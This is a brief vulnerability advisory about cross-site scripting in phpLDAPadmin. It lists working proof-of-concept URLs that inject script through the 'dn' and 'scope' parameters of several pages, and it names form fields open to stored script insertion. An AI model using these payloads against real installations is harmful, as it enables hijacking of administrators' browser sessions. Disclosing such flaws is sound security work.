Vuln. Description:

phpLDAPadmin contains a flaw that allows a remote cross site scripting
attack. This flaw exists because input passed to "dn" paremeter in
"compare_form.php","copy_form.php","rename_form.php","template_engine.php","delete_form.php"
isn't properly sanitised before being returned to the user.
And input passed to "scope" parameter in "search.php" isn't properly
sanitised before being returned to the user.
This could allow a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship between the
browser and the server, leading to a loss of integrity.

example:

/compare_form.php?server_id=0&dn=%22%3Cscript
%3Ealert('r0t')%3C/script%3E

/copy_form.php?server_id=0&dn=%22%3Cscript%3E
alert('r0t')%3C/script%3E

/rename_form.php?server_id=0&dn=%22%3Cscript
%3Ealert('r0t')%3C/script%3E

/template_engine.php?server_id=0&dn=%22%3Cs
cript%3Ealert('r0t')%3C/script%3E

/delete_form.php?server_id=0&dn=%22%3Cscript
%3Ealert('r0t')%3C/script%3E

/search.php?server_id=0&search=true&filter=
objectClass%3D%2A&base_dn=cn%3Dtoto%2Cdc%3D
example%2Cdc%3Dcom&form=advanced&scope=%22%
3Cscript%3Ealert('r0t')%3C/script%3E

And there also script insertion vuln. or html injection:

Like i say , take in example "/template_engine.php" and let input in
Container DN : [XSS]
Machine Name: [XSS]
UID Number: [XSS]
Those fields isn't sanitised before being stored in the vuln. system. This
can be exploited to execute arbitrary script code in a user's browser
session in context of an affected website when a malicious system entry is
viewed.

Solution:
Edit the source code to ensure that input is properly sanitised.
